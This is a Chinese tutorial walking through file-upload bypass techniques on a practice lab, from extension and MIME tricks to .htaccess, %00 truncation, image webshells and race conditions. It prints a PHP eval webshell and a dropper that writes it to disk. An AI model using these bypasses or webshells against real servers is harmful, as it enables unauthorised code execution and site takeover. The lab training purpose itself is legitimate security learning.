文件上传绕过

内容 隐藏
5 服务器绕过

客户端校验

一般是在网页上写一段Js脚本,用Js去检测,校验上传文件的后缀名,有白名单也有黑名单。

判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包,所以可以通过抓包来 判断,如果弹出不准上传,但是没有抓到数据包,那么就是前端验证

前端验证非常不可靠,传正常文件改数据包就可以绕过,甚至关闭JS都可以尝试绕过

服务器端校验

服务端检测几个常见的手段:

检查Content-Type (内容类型)

检查后缀 (检查后缀是主流)

检查文件头

黑白名单机制:

黑名单:不允许上传什么

白名单:只允许上传什么

白名单比黑名单更安全

靶场安装

WAMP靶场

客户端绕过

上传1.php提示不允许上传.php的文件

1657593030176

删除浏览器事件

查看源码

1657593191636

1657593236181

发现表单信息

定位表单

1657592538071

删除表单

1657592554221

1657592601907

再次上传

1657592659606

1657592679314

查看图像

1657592698362

上传成功

1657592712393

伪造上传表单

上面的删除事件是直接删除JS的检测,比较残暴,可以使用伪造上传表单,通过伪造一个没有做任何限制的表单,数据依然提交到目标地址,绕过原来的JS代码的限制。

BURP抓包修改绕过

修改格式

将PHP文件的后缀.php改为.jpg等支持上传的文件格式,然后上传修改后的文件

1657594483809

BURP抓包

将jpg文件重新修改为php格式

1657594515758

1657594585156

长传成功

1657594616835

查看上传后的文件

1657594720383

1657594772583

服务器绕过

Content-Type方式绕过

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:

文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

在HTTP协议中,使用Content-Type字段表示文件的MIME类型。

这种服务器检测和前端检测没什么太大区别,只是检查一下文件的上传格式,虽然无法通过删除浏览器事件来绕过,但是依旧可以使用BURP抓包,修改绕过。

直接上传1.php文件,显示的Content-Type为application/octet-stream,而服务器上会检测此字段是否为jpeg等符合标准的文件类型,所以我们可以直接修改Content-Type字段的值为image/jpeg

1657595819787

1657596026138

成功上传

1657596046398

查看上传后的文件

1657596164912

1657596180973

黑名单绕过

查看一下源码,发现过滤的内容是以'.asp','.aspx','.php','.jsp'为后缀的文件类型

很明显这个过滤不严谨,php中,如果默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php的

直接上传

1657601826042

查看源码

1657597320416

修改后缀为phtml

1657597295885

上传成功

1657597380860

查看文件

1657601576765

注意:可能无法正常访问,因为phpstudy的http配置文件中没有允许phtml格式,可以手动添加上

1657601694661

1657601742116

.htaccess文件绕过

什么是.htaccess是

全称是Hypertext Access(超文本入口) .htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

.htaccess功能:

文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表

很可惜,这么一个强大的功能默认是不开启的 Apache (有伪静态的都可以试试)

例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析

直接上传php文件

1657602941860

查看源码

1657602964288

依旧是使用的黑名单,但是这次看起来就和全面了,具体如下
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

上传jpg文件

1657603044751

查看图片

1657603086352

确实成功上传了,但这不是一张正真的照片,而是jpg格式的php代码

制作.htaccess文件

先写一个txt文件

1657603285436

重命名为.htaccess
C:\Users\44880>ren C:\Users\44880\Desktop\lala.txt  .htaccess
            命令      具体的初始文件名(路径+文件名)    修改后文件名
windows10和windows11直接重命名就可以了无需通过cmd进行修改

上传.htaccess文件

1657603146260

再次查看1 .jpg图片

1657603167929

成功当做php代码解析

大小写绕过

直接上传.php文件

1657604709692

1657604696771

查看源码

1657604760834

黑名单过滤的很全,但是没有进行大小写的转换

修改后缀为PHp

1657604826655

上传成功

1657604844757

文件后缀(空)绕过

在文件名后面留一个空格,然后上传上去后空格会被自动的省略,对于过滤规则来说有没有空格是不一样的,但是对于操作系统来说,文件名的最后一个是空格会直接将其删除。

直接上传php文件

1657605557685

查看源码

1657605615255

黑名单更加全面了把.htaccess也加上了,大小写也做了限制

再次直接上传php文件

1657605557685

BURP抓包

1657605692591

上传成功

1657605711147

查看文件

1657605741167

文件后缀(点)绕过

查看源码

1657606620873

有较为完善的黑名单,有大小写转换,有收尾去空

上传php文件

1657606590473

BURP抓包

1657606707151

上传成功

1657606722762

查看文件

1657606741055

::$DATA(Windows文件流绕过)

简介

这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。

大家肯定不懂这个意思是什么,我们先在CMD运行一个(藏文件的小福利)

#生成一个a.txt内容为abc
C:\Users\44880\Desktop>echo abc >> a.txt        

#生成一个b.txt:c.txt内容为abc,但是桌面上只会生成b.txt内容为空
C:\Users\44880\Desktop>echo abc >> b.txt:c.txt

#如果想要查看b.txt:c.txt的内容
C:\Users\44880\Desktop>notepad b.txt:c.txt


然后再试试a.txt::$DATA

::$DATA就是默认不修改文件流的情况

所以生成一个正常的a.txt

#生成d.txt文件内容为abc
C:\Users\44880\Desktop>echo abc >> d.txt::$DATA

利用windows特性,可在后缀名中加” ::$DATA“,绕过检测

查看源码

1657762646847

去点、去空、大小写、黑名单

上传php文件

1657762795895

BURP抓包

1657762869517

上传成功

1657762898605

查看文件

1657763076996

注意:如果直接这样访问会报错,将打开的页面的URL后面的“::$DATA”删掉就好了

1657763168978

构造文件后缀绕过

查看源码

1657763717039

嗯,不错不错该有的都有了,开发可以睡个好觉了,但是我们可以自行构造后缀名来绕过他的检查
比如说文件名的后缀为“php. .”首先删除末尾的“.”,还剩下“. ”,然后检查末尾是否还有点$file_ext = strrchr($file_name, '.');我们这里最后一位不是点是空,然后删除末尾的空,最终还剩下一个“.”,这就是我们上面的文件后缀(点)绕过

上传php文件

1657763919373

BURP抓包

1657763981836

上传成功

1657764228569

进行访问

1657764360504

1657764429829

1657764497465

双写绕过

源码分析

1657765964563

检查后缀名,如果为黑名单的内容会直接转为空,这就直接不管有没有点有没有空什么的了,感觉很安全很好,但是我们依旧可以自行构建,比如php可以构建为pphphp,这样将其中的php删除之后还剩下一个php

上传php文件

1657766097215

BURP抓包

1657766160281

上传成功

1657766201609

查看文件

1657766323011

1657766354380

基于GET的00截断

简介

了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了

在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?

JPG格式并不会被解析,那么我们需要绕过上传过滤。

假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php

%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符

说明

%00只能用于php版本低于5.3的。这里我们需要把phpstudy切换一下版本,把magic_quotes_gpc关闭
切换版本

1657775401230

关闭功能

1657775430069

查看源码

1657768614139

$_FILES['upload_file']['name'] => 你上传文件的文件名
$_FILES['upload_file']['tmp_name']; => 获取临时文件名()

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); => 截取后缀名
strrpos($_FILES['upload_file']['name'],".") => 获取最后一次出现点的位置
substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);=> 获取最后一个点后面的内容(后缀名)


if(in_array($file_ext,$ext_arr)) => 判断上传文件的后缀是否在数组中


$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; => 重命名
$_GET['save_path'] => 获取get传参save_path
. => 连接符
rand(10, 99) => 随机值10-99
date("YmdHis") => 当前的一个时间
$file_ext => 后缀

如果直接上传php文件然后通过burp进行修改,修改为php%00.jpg,因为重命名机制的存在,%00无法正常的起到阶段的作用,所以我们需要在get传参中做手脚,添加“.php%00”使得后面的随机数这些全部被截断只保留“.php”

上传jpg文件

1657775248016

BURP抓包

1657774995010

上传成功

1657775057390

查看文件

注意直接查看后缀是不对的,需要将php后面的%00还有一串数字这些删掉

1657775076581

基于POST的00截断

查看源码

1657776423074

与GET唯一不同的地方在于获取文件路径的方式不同,这里是通过POST方式获取

上传jpg图片

1657776614461

BURP抓包

1657776571242

上传失败

1657776710226

懵逼了不

%00是0x00的URL编码
URL 编码 => %xxxx
GET可以接受URL编码因为可以自行解码,但是POST不能,所以我们需要直接修改其16进制值为00

再次长传jpg图片

1657777861884

BURP抓包

1657777363429

1657777548137

1657777592491

上传成功

1657777618665

查看文件

1657777700340

1657777825639

下面还有一题

1657783706863

传参也是POST的

图片马绕过

简介

php上传文件的原理:

  • 1:用户提交post请求,上传文件
  • 2:服务器接收请求,将文件存储到临时文件
  • 3:php解析该临时文件,获得文件类型,文件大小
  • 4:php通过判断文件类型,进行移动临时文件到上传目录
  • 5:php给前端返回上传成功,并返回地址

在第3步,php是如果解析临时文件的呢?

其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9

通过读取文件的字节并转为16进制,即可知道该文件类型是什么:

php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义。

说明

(getimagesize图片类型绕过)(php_exif模块图片类型绕过)(二次渲染绕过)本身是没有漏洞的,因为最多就是上传一张图片马,但是正常情况下是无法解析图片格式的文件的
getimagesize函数

会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

开启php_exif模块

1657782037313

1657782069453

二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

制作图片马

真图片马
C:\Users\44880\Desktop>copy 1.png /b + 123.php lala.png
1.png
123.php
已复制         1 个文件。
1.png是正常的图片
123.php是一句话木马文件
lala.png看起来是一张正常的图片,可以打开,但是通过16进制查看可以看到照片的最后有一句话木马

- 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
- 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
假图片马

直接将php文件重命名为图片格式,在php文件的头部加上图片头部信息

#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47

上传图片马

1657779784747

上传成功

1657779417191

图片传上去了,但是一句话木马还在不在需要确认

查看文件

1657779442371

这里只能上传成功,并不能直接利用,因为是png文件如果没有文件包含漏洞这些来利用的话是没有办法执行的

下载图片

1657779599261

一句话木马还存在,上传成功

二次渲染

上传图片马

1657782340264

上传成功?

1657782405436

查看文件

1657782465119

一句话木马没了
解决方案
gif动图绕过

二次渲染不会去渲染前面的几行代码,推荐从3-4行开始写

使用编辑器打开图片使用16进制模式进行编辑,插入一句话木马

1657783129739

上传图片

1657783172889

下载图片

1657783191840

查看一句话木马是否存在

1657783224513

一句话木马还存在,绕过成功
png绕过

条件竞争

简介

竞争条件

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。

竞争对象

一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。

假如我不断的上传发包,然后我同时也不断的访问那个我们上传上去的文件的地址,我们就开始和服务器的函数比手速了,函数执行都是要时间的,如果我这边上传上去,且没有删除,那个时间可能很短,然后被我访问到了,岂不是就可以执行PHP了~我就比服务器手速快了~

先上传再检测

先上传 检测 删除 =>上传 检测 => 删除之前访问到我们上传的文件是不是就有机会干点什么。

比如说:让功能强大的PHP 来写一句话木马先上传1.php,它的目的是让服务器上的php来创建一个2.php,2.php是一个木马文件,但是这个是系统自身创建的,所以不会进行删除

#1.php
<?php $a = '<?php @eval($_REQUEST[8])?>';file_put_contents('2.php',$a)?>
访问1.php

1657785011142

生成2.php

1657785050285

内容为
<?php @eval($_REQUEST[8])?>
先检测再上传

这就没有办法了

查看源码

1657785185128

if(move_uploaded_file($temp_file, $upload_file))
可以看到这里是先对文件进行保存,然后再对其进行处理

上传jpg文件

1657793404860

访问121.php

1657793483860

BURP抓包

上传121.php

1657791619017

1657791666124

1657791686738

访问121.php

165779172705916577917422541657791755100

然后开始爆破

16577918152271657791832238

1657791848454

1657791864213

查看upload文件夹

1657791906687

截图的时候已经生成6.php了,手慢了,正常是先回看到121.php,但是可能没被访问就被删除了,然后又上传了121.php,直到被访问到了,然后执行php代码,生成6.php文件

留下评论